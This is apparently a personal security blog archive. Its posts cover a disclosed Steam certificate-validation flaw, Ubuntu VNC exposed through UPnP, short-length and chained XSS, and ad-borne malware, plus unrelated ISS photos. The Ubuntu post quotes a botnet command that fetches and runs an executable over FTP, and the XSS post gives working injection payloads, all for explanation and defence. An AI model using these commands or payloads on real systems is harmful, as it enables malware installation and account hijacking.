Friday, 16 March 2012

Valve fixes HTTPS vulnerability in Steam client



Valve has fixed a man-in-the-middle vulnerability in the Windows Steam client, which would have allowed a correctly-positioned attacker to divert and decrypt HTTPS traffic without the victim's knowledge. This made sensitive payment details, such as PayPal credentials, vulnerable to eavesdropping.


First, I'll get my grumbles out of the way: Steam has a huge number of users, and I don't like the idea of anyone being vulnerable to this type of thing. That's why I responsibly disclosed this vulnerability to Valve in November last year (although I suspect it may have been vulnerable for more than a year in total). My hope was that they would fix it quickly, and certainly before anyone tried to exploit the vulnerability. They were impressively receptive at first, but then things started going a bit quiet and some of my later emails were ignored.

Anyway, it took more than 3 months(!) to get this fixed, which seems an unreasonably long time to me. It's tempting to say that I wouldn't bother trying this hard to report a vulnerability again, but hey, I use Steam too!


[Screenshot from http://store.steampowered.com/news/7524/]

Oh yes, that leads me on to my second grumble: Although Valve has credited me for pointing out this vulnerability, they have dressed it up as an "addition" rather than a "fix". I think that's a bit deceptive, and hides the fact that there were any security problems. It may not be intentional, however.

The real change is that it now validates certificates rather than simply displaying their status; previously, it did not validate the certificate at all, let alone display its status. The Steam client would happily display HTTPS content from any server, regardless of whether the provided SSL certificate had expired, was for the correct domain name, or was signed by a trusted certificate authority. There have been enough issues surrounding the whole PKI arena lately, without having to worry about clients that don't actually check certificates properly...



By controlling or hijacking DNS lookups for the domain "www.paypal.com" (e.g. by providing gamers with an open wireless network which used a rogue DNS server), an attacker could have caused Steam clients to display arbitrary content instead of the expected PayPal payment flow (see screenshot above). This content could have been served from the attacker's own HTTPS server, configured to present a self-signed SSL certificate with an arbitrary common name. 
Steam displayed the spoof content without warning or indicating that the certificate was invalid. This provided a very plausible opportunity to steal a user's Steam credentials by prompting the user to re-enter them within the Steam client itself.
An attacker could also have carried out an undetectable man-in-the-middle attack by relaying Steam client requests to the legitimate PayPal website. This would have allowed the attacker to decrypt and view the user's login credentials and other sensitive details while still allowing the transaction to be processed successfully and thus avoiding any suspicion from either party. Unfortunately, that means there is no know way of knowing whether or not this vulnerability was actively exploited before it was eventually fixed.

Sunday, 15 January 2012

Dodgy doorstep security advice from Siemens


Siemens Meter Services, a division of Siemens plc, claims to be the UK's leading independent expert provider of metering services. They are accredited with CORGI and Ofgem to provide gas meter reading and meter operations to gas suppliers, such as British Gas.

Because gas meters are often installed indoors, meter readers or engineers occasionally require physical access to a customer's home. For that reason, meter readers - regardless of which company they work for - usually carry an identity card.  After all, you wouldn't want to let a complete stranger into your home, would you?

But, what if someone calls round with a forged identity card?  Or, what if you have no idea what a genuine identity card should look like?  Siemens offers the following doorstep security advice to allow you to verify the identity of the caller:
Siemens Metering Services at your door
All of our meter readers and meter engineers have passed our thorough security screening. Everyone has to carry an identity card showing their name and a recent colour photograph. If you have any doubts at all about the identity of the caller, then please call the telephone number printed on the identity card for verification.
Unfortunately, there's an obvious flaw in this advice: If a fraudster has gone to the effort of forging an identity card, there's nothing to stop them printing their mate's phone number on it.

Saturday, 12 November 2011

Accidentally opening the doors on Ubuntu



This post highlights how even a small modification to a graphical user interface can be responsible for causing unintended security problems.

When Ubuntu's remote desktop service (Vino) first introduced support for UPnP, this is what the Security section of new configuration dialog looked like:



The UPnP feature was activated by checking "Talk to the router and try to open the doors there". Although this label was criticised for sounding too informal, it did actually give a reasonable impression of what might happen if you checked the box. Namely, it used UPnP to configure the router such that the remote desktop service could be accessed from the internet.

However, this is what the option now looks like in the current Long Term Support version of Ubuntu (10.04.3 LTS, Lucid Lynx):



(This is a screenshot from a real victim of the problem I am about to describe)

Notice that this unfortunate user has enabled remote control of their desktop, with no password protection. What was possibly going through their mind?  Well, convenience, most likely. Indeed, the lack of password may not necessarily pose any security problems if the Ubuntu desktop is on a trusted network and not connected directly to the internet. This would be typical of many home networks, where internet access is usually provided by a NAT-enabled router.

But also notice that the UPnP option is now labelled "Configure network automatically to accept connections". The user has checked this box - after all, why wouldn't you want a connection to be accepted automatically? Convenience is the goal here, and there is nothing to suggest that this option really means "accept connections from the entire internet".

So, after checking the box, the user's UPnP-enabled router will start to accept connections from the internet on port 5900 and forward them to the Ubuntu desktop.  Even so, the settings dialog reassuringly and erroneously states that "Your desktop is only reachable over the local network." The combination of this bug and the slightly unclear option label has caused the user to accidentally open the doors on their Ubuntu desktop. To anyone.

Anybody in the world can now use this person's computer simply by using a VNC client to connect to the public-facing IP address of the router (no password required, of course).

Internet-facing VNC servers are often subjected to automated attacks from botnets, but vino-server's lack of connection logging might make these hard to trace after the event. Thankfully, most of the automated attacks happening right now are only designed to exploit Windows systems.  You may, for example, notice attacks similar to the following, which launch a command prompt and create a temporary FTP script named "ik", which is then used to download and execute malware:
cmd /c echo open example.com 21 >> ik &echo user xyz letmein >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit
echo You got owned

The botnet simply connects to an exposed VNC server and sends these characters to the remote Windows computer.  Quite cheeky, but at least it has the decency to tell the user they got owned!

Are you affected by this? If you have enabled remote desktop or vino-server on any version of Ubuntu or Windows, you should probably double check that you haven't inadvertently exposed the service to the entire internet. If you do wish for the service to be internet visible, ensure that you use a suitably strong password and keep your server software up to date.

Wednesday, 29 June 2011

XSS in confined spaces

It's always nice to see a manager or developer fully understand the severity of cross-site scripting (XSS). Displaying user-supplied input without sufficient encoding can have a serious impact on a web application – in particular, its users may become vulnerable to remote session hijacking, autocompleted passwords could end up being covertly siphoned off to the attacker, and most CSRF (cross-site request forgery) protection mechanisms can be bypassed.

However, those who do understand the risks of XSS may nonetheless dismiss the possibility of such nefarious attacks if the vulnerable input parameter is truncated to less than 30 characters or so. After all, how can you steal a password in less than 30 characters?

XSS in 10 characters (well, 27 really)

Many web application security testers will demonstrate an XSS vulnerability by injecting something like <script>alert(123)</script> into a webpage. This will cause a dialog box to pop up and display the message "123".

Unfortunately, that's the kind of benign demonstration that makes a manager think, "So what?"

Demonstrations are much more powerful if they show something bad happening, but how can that be done if we've already reached the maximum length (27 characters) of the vulnerable input parameter?

After the overhead of the script tags (of which there must be both an opening and closing one), there is only room to inject 10 characters of JavaScript. Believe it or not, that's enough to carry out any kind of cross-site scripting attack, including session hijacking, self-propagating JavaScript worms and CSRF exploits.

Bootstrapping larger XSS payloads

These 10 characters of JavaScript can effectively 'bootstrap' a much larger JavaScript payload from the window.name attribute. This is a special attribute which is persistent across domains. An attacker can exploit this behaviour by using any website under his control to store a large JavaScript payload in the window.name attribute, which is practically unlimited in size:

window.name = "var x=1; do_some_bad_stuff(); [...] ";

When the victim uses the same browser tab to view the vulnerable website, the payload will remain accessible via the window.name attribute. In practice, this is most likely to be exploited through the use of a hidden iframe, which sets the payload from the attacker's site, and then automatically redirects the iframed window to the vulnerable page on the target site.

Using the XSS vulnerability on the target site, the attacker's payload can be executed by injecting these 10 characters of JavaScript:

eval(name)

I'm not aware of an XSS vulnerability that can be exploited in fewer than 10 characters, so let me know if you find one! Note that the example above requires 27 characters if you include the script tags, although this can obviously be reduced if it is possible to inject user-supplied input directly into an existing block of JavaScript (this is not unheard of!).

Chained XSS

If a web application displays user-supplied input without sufficient encoding, it would generally remain safe from cross-site scripting attacks if the maximum length of the input is restricted even further than in the previous examples.

However, if there are several vulnerable inputs on the same page, these can be combined to construct a valid piece of executable JavaScript which would not have fitted into a single input parameter.

This can be demonstrated by the following vulnerable HTML template, which fails to encode the name and telephone numbers after a user submits some feedback:

<p>
 [    $name     ] - thanks for submitting your comments.
 Your feedback is important to us. As requested, we will
 contact you about this issue as soon as possible, using
 the contact details provided below:
</p>
<ul>
 <li>Landline: [  $tel1   ]</li>
 <li>  Mobile: [  $tel2   ]</li>
</ul>

The user name is limited to 16 characters in length, while both of the telephone numbers are limited to 12. Although each individual field is too short to allow a practical XSS attack, the vulnerable fields can effectively be chained together by submitting the following values:

 $name: <script>alert(/*
 $tel1: */'XSS'/*
 $tel2: */);</script>

This will result in the web server returning the following HTML to the client. The JavaScript comments chain the vulnerable fields together, allowing the injected script to be parsed correctly and executed by the browser:

<p>
 <script>alert(/* - thanks for submitting your comments.
 Your feedback is important to us. As requested, we will
 contact you about this issue as soon as possible, using
 the contact details provided below:
</p>
<ul>
 <li>Landline: */'XSS'/*   </li>
 <li>  Mobile: */)</script></li>
</ul>

Big or small, gotta fix 'em all.

Wednesday, 16 March 2011

Exploiting XSS with clickjacking

Here's a nice video demonstraction of how clickjacking can be used to exploit what would otherwise be an unexploitable cross-site scripting vulnerability:

For further details on the mechanics of this attack, check out Krzysztof Kotowicz's blog post, where he notes the only winning move is not to play.

Sunday, 27 February 2011

London Stock Exchange hit by malware

The London Stock Exchange website exposed some visitors to drive-by malware attacks today. Merely viewing the homepage at www.londonstockexchange.com (without clicking on anything) caused my Windows computer to be compromised by malware. This malware was apparently delivered through third-party advertisements which appeared on the site.

The malware was a classic spoof antivirus program which used a software vulnerability to download and install native executable code. The spoof program appeared in the system tray and prevented other processes such as Task Manager being run, falsely claiming that they were infected with a virus. The malware then tried to extort payment to fix the artificial problem it had created. It also replaced the wallpaper image with the following message:

Google's Safe Browsing diagnostic page for www.londonstockexchange.com also confirmed the presence of suspicious content on the LSE website today:

Of the 281 pages we tested on the site over the past 90 days, 65 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2011-02-27, and the last time suspicious content was found on this site was on 2011-02-27.

Malicious software includes 2 scripting exploit(s), 2 trojan(s), 1 exploit(s). Successful infection resulted in an average of 5 new process(es) on the target machine.

Accordingly, the site ended up being blocked by the Chrome and Firefox web browsers, which both make use of Google's malware blocklist.

LSE have now disabled the affected adverts from appearing on their site, thus preventing malware reaching its visitors. For clarity, the LSE website itself was not compromised. Because the malware was distributed via an advertising network, many other sites may also have been affected.

Unanimis, which hosted adverts used on the LSE website, subsequently issued the following statement:

Malware was detected on the Unanimis network which affected some advertisements on our network. Other than the banner advertisements in question, the malware does not impact or affect any other parts of a website. The affected advertisements have been removed and all sites continue to operate normally. For clarity the LSE website was not impacted by this Malware, not did it propagate malware.

Saturday, 26 February 2011

Discovery docking with the International Space Station

The Internation Space Station passed overhead at 18:36 this evening, with the space shuttle Discovery closing in and preparing to dock. Having never seen the ISS before, I thought I'd try and get some photos of it.

Each of the following photos is an unprocessed 100% sized crop from a relatively cheap Canon 500D digital SLR camera which produces 15 megapixel JPEG images.

Jupiter. Automatic camera settings aren't particularly suitable for taking photos of a very tiny bright dot in the middle of a vast expanse of darkness, so manual settings are the best way to go. To get a rough idea of which settings to use, I pointed my camera to the West, where the planet Jupiter was happy to lend a hand. This helped me focus the lens and work out what exposure settings to use. I decided to go with ISO 1600 sensitivity and set the lens aperture to f/8.

ISS appears. The ISS quickly appeared over the horizon, but was not particularly bright yet (possibly due to low altitude atmospheric polution?). I was hand-holding a 500mm lens with a 1.4x extender and had to slow my exposure time to 1/320 for this shot.

1/500. It seemed to be getting a little bit closer now, and certainly at a higher angle in the sky. I stepped the exposure up to 1/500 sec for this one.

1/1000. Getting brighter all the time, I pushed the shutter speed up to 1/1000. This made it easier to take handheld photos, although it was surprisingly difficult to locate the object through the viewfinder! The ISS moves quite fast and the effective focal length of 1120mm gives a narrow field of view.

Backflip. The small dot to the left of the ISS is the space shuttle Discovery coming to the end of its 'backflip' around the station (thanks to @adam_horn for confirming that!). The individual solar panels on the space station are now starting to become apparent.

Discovery! It may only be a few pixels in size, but the Discovery is slightly more recognisable in this shot. Those with a good imagination will surely agree that it's shaped like a space shuttle :)

They're not great photos, but I found the results nonetheless surprising, particularly as all I could see without the camera was a bright white dot moving up through the sky. The individual solar panels were not visible to the naked eye, and I had no idea that Discovery was even there until I looked at the JPEGs that came off the camera. I'm not a space geek, but I still found this pretty cool.